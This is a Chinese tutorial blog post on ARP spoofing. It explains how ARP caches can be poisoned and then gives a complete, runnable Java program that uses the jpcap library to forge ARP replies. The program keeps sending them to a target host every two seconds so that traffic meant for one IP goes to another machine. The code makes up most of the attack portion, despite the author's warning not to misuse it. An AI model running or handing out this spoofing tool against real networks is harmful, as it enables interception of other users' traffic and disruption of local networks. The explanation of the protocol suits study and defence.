java arp 攻击_用JAVA代码实现ARP攻击 | 学步园

ARP攻击原理

一台电脑通过网络访问另一台电脑的时候,在数据链路层需要知道对方的MAC地址进行真正的物理通信.

而电脑上的应用程序通常都是根据另一台电脑的IP地址来和对方建立通信,这时候就需要有一个协议将

IP地址解析到MAC地址,这就是ARP协议.

而ARP具体过程就是当需要通过IP获取一个远端的的MAC地址的时候,系统会首先检查ARP表中

是否存在对应的IP地址,如果没有,则发送一个ARP广播,当某一个拥有这个MAC地址的节点

收到ARP请求的时候,会创建一个ARP reply包,并发送到ARP请求的源节点,

ARP Reply包中就包含了目的地节点的MAC地址,在源节点接受到这个reply后,

会将目的地节点的MAC地址保存在ARP缓存表中,下一次再次请求同一 IP地址的时候,

系统将会从ARP表中直接获取目的地MAC地址,而不需要再次发送ARP广播。

用ping命令举例来说, 在机器A,比如说IP是192.168.1.2中发出下面的ping命令:

ping 192.168.1.3,如果192.168.1.3这个MAC地址在机器A的ARP缓存表中不存在,这时候

机器A就会发送一个ARP广播,当192.168.1.3接到广播后,会给机器A回一个

ARP Reply包,其中包含了192.168.1.3的MAC地址,这是正常的ARP过程.

假设IP--MAC的对应关系为(192.168.1.3--00-1C-23-2E-A7-0E)

但是局域网内的其他机器也可向机器A发一个假的IP--MAC对应关系ARP Reply包,

机器A接收到这个假的包后同样会更新自己的ARP缓存表.假设发送的为

(192.168.1.3--00-1C-23-2E-A7-0A,0A实际上为192.168.1.4的MAC地址)

那么机器A再通过IP往192.168.1.3发送数据的时候,实际上却发到了192.168.1.4这台机器.

这样就到达了ARP攻击或者叫做ARP欺骗.ARP攻击只能发生在局域网内.

本文旨在举例说明ARP攻击的原理,希望看官们不要用来恶作剧你局域网的其他机器,要不你的网管很快就会面谈你滴...

下面用JAVA代码模拟一下上面说到的ARP欺骗.

192.168.1.4将一个192.168.1.3的假的MAC地址发给 192.168.1.2.

需要用到jpcap.jar,可以从http://netresearch.ics.uci.edu/kfujii/Jpcap/doc/download.html下载.package com.test.arp;

import java.net.InetAddress;

import jpcap.JpcapCaptor;

import jpcap.JpcapSender;

import jpcap.NetworkInterface;

import jpcap.packet.ARPPacket;

import jpcap.packet.EthernetPacket;

public class SendFakeARP {

static byte[] stomac(String s) {

byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };

String[] s1 = s.split("-");

for (int x = 0; x < s1.length; x++) {

mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff);

}

return mac;

}

public static void main(String[] args) throws Exception {

int time = 2; // 重发间隔时间

InetAddress desip = InetAddress.getByName("192.168.1.2");// 被欺骗的目标IP地址

byte[] desmac = stomac("00-1c-23-3c-41-7f");// 被欺骗的目标目标MAC数组

InetAddress srcip = InetAddress.getByName("192.168.1.3");// 源IP地址

byte[] srcmac = stomac("00-1C-23-2E-A7-0A"); // 假的MAC数组

// 枚举网卡并打开设备

NetworkInterface[] devices = JpcapCaptor.getDeviceList();

NetworkInterface device = devices[1];

JpcapSender sender = JpcapSender.openDevice(device);

// 设置ARP包

ARPPacket arp = new ARPPacket();

arp.hardtype = ARPPacket.HARDTYPE_ETHER;

arp.prototype = ARPPacket.PROTOTYPE_IP;

arp.operation = ARPPacket.ARP_REPLY;

arp.hlen = 6;

arp.plen = 4;

arp.sender_hardaddr = srcmac;

arp.sender_protoaddr = srcip.getAddress();

arp.target_hardaddr = desmac;

arp.target_protoaddr = desip.getAddress();

// 设置DLC帧

EthernetPacket ether = new EthernetPacket();

ether.frametype = EthernetPacket.ETHERTYPE_ARP;

ether.src_mac = srcmac;

ether.dst_mac = desmac;

arp.datalink = ether;

// 发送ARP应答包

while (true) {

System.out.println("sending arp..");

sender.sendPacket(arp);

Thread.sleep(time * 1000);

}

}

}

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值